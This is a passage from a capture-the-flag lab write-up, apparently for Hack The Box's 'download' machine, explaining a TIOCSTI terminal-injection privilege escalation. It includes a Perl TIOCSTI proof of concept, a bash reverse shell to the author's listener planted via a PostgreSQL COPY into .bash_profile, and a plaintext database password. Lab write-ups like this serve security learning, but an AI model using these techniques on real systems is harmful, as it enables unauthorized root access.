su -l $USER


Attempting to escalate privileges to the root user by abusing the group membership to the ssl-cert group came to a dead end.

I conducted a more thorough examination of the active processes, during which a critical cronjob process came to my attention that had been overlooked, both by me and the PSPY tool.

In particular, I observed the execution command above. This command facilitates a transition from the root user to the postgres user.

Initially, the PSPY tool did not capture this process, leading me to speculate that the transition from UID=0 to UID=13 might have been associated with the manage-db file, which is invoked by the root user. This assumption left me without a precise understanding of the intricacies of user switching.

Subsequently, I have incorporated the details of this process into the output of the PSPY execution for the purposes of comprehensive reporting.

TIOCSTI ioctl


su -l postgres While the command appears trivial and is extremely easy to be overlooked, it lies a very old Linux bug that dates all the way back to 2005.

The vulnerability at hand pertains to the behavior exhibited by the su and sudo commands during user transitions from the root to a non-root user. While these commands effectively modify the User ID (UID) of the executed process, the terminal context associated with the session remains rooted in the root user’s privileges. This circumstance renders the terminal accessible to non-privileged users, potentially leading to unauthorized access and command execution.

Understanding Terminal Context and Exploitation:

Within Unix-like operating systems, active program often maintains a connection with an associated terminal. This terminal, frequently referred to as a pseudo-terminal (PTY), serves as a conduit for user input and output interactions. Importantly, the terminal context, represented by the PTY, can persist even after a process undergoes a User ID (UID) change.

Exploiting this vulnerability hinges on a convergence of factors. The /dev/tty device serves as a gateway to the active terminal of a program. When accessed by a non-root user, this device offers a direct link to the terminal (PTY) of the root user. By harnessing the ioctl(2) system call, specifically the TIOCSTI flag, an attacker can simulate user input within the root user’s terminal context.

Upon further research online, I came across the publication above that seems to be actively maintained

#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, "exit\n".'echo Payload as $(whoami)'.$/) {
    ioctl($tty_fh, &TIOCSTI, $c);
}

The publication also includes a simple PoC

I will first test out the PoC

Failed


wesley@download:/tmp$ cat pe.pl 
#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, "exit\n".'echo Payload as $(whoami)'.$/) {
    ioctl($tty_fh, &TIOCSTI, $c);
}

The PoC is saved to the /tmp/pe.pl file

wesley@download:/tmp$ /usr/lib/postgresql/12/bin/psql -h localhost -U download -W -c "COPY (SELECT 'bash -i >& /dev/tcp/10.10.14.20/8888 0>&1') TO '/var/lib/postgresql/.bash_profile';" ; cat /var/lib/postgresql/.bash_profile
password: CoconutPineappleWatermelon
COPY 1
bash -i >& /dev/tcp/10.10.14.20/8888 0>&1

Using the same “Logon Script” method, I will write a bash reverse shell to the .bash_profile file

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888                                      
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 59128
postgres@download:~$ /tmp/pe.pl
/tmp/pe.pl
postgres@download:~$ /tmp/pe.pl
/tmp/pe.pl

A moment later, I get a temporary shell session opened as the postgres user. However, there is a problem. The exploit PoC, /tmp/pe.pl, doesn’t seem to output anything.

The reason for that erroneous behavior above is due to the way Linux handles and assigns the session

Why?


┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888                                      
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 59128
postgres@download:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 postgres postgres 64 Aug 10 04:12 0 -> socket:[131659]
lrwx------ 1 postgres postgres 64 Aug 10 04:12 1 -> socket:[131659]
lrwx------ 1 postgres postgres 64 Aug 10 04:12 2 -> socket:[131659]
lrwx------ 1 postgres postgres 64 Aug 10 04:12 255 -> /dev/tty

ls -l /proc/$$/fd lists detailed information about the file descriptors currently open by the process executing the command. Each entry represents a file descriptor and its associated file or resource, such as a socket, pipe, or terminal.

As shown above, establishing a reverse shell session results assigning those file descriptors 0(stdin), 1(stdout), and 2(stderr) to a socket, socket:[131659], resulting all the streams of input, output, and error to a network socket with an ID set to 131659, which is likely connected to the 10.10.11.226:59128 that initiated the reverse shell call process. It also has a valid device set to /dev/tty Additionally, those are all owned by the postgres user

Confirm


However, If I set the file descriptor viewing command (ls -l /proc/$$/fd > /tmp/out.txt) to the PoC script…

wesley@download:/tmp$ /usr/lib/postgresql/12/bin/psql -h localhost -U download -W -c "COPY (SELECT 'bash -c /tmp/pe.pl') TO '/var/lib/postgresql/.bash_profile';" ; cat /var/lib/postgresql/.bash_profile
password: CoconutPineappleWatermelon
COPY 1
bash -c /tmp/pe.pl

and have the root cronjob process execute the PoC script directly from the “Logon Script” method from the .bash_profile file..

wesley@download:/tmp$ cat out.txt 
total 0
lrwx------ 1 root root 64 aug 10 04:16 0 -> /dev/pts/1
lrwx------ 1 root root 64 aug 10 04:16 1 -> /dev/pts/1
lrwx------ 1 root root 64 aug 10 04:16 2 -> /dev/pts/1
lrwx------ 1 root root 64 aug 10 04:16 255 -> /dev/pts/1
lr-x------ 1 root root 64 aug 10 04:16 3 -> pipe:[133826]

I get a totally different result. those file descriptors 0(stdin), 1(stdout), and 2(stderr) are set to a pseudo-terminal (pty) device, /dev/pts/1, which is owned by the root user uses (root:root) This confirms that the execution is done as the root user

Moving on to the Privilege Escalation phase.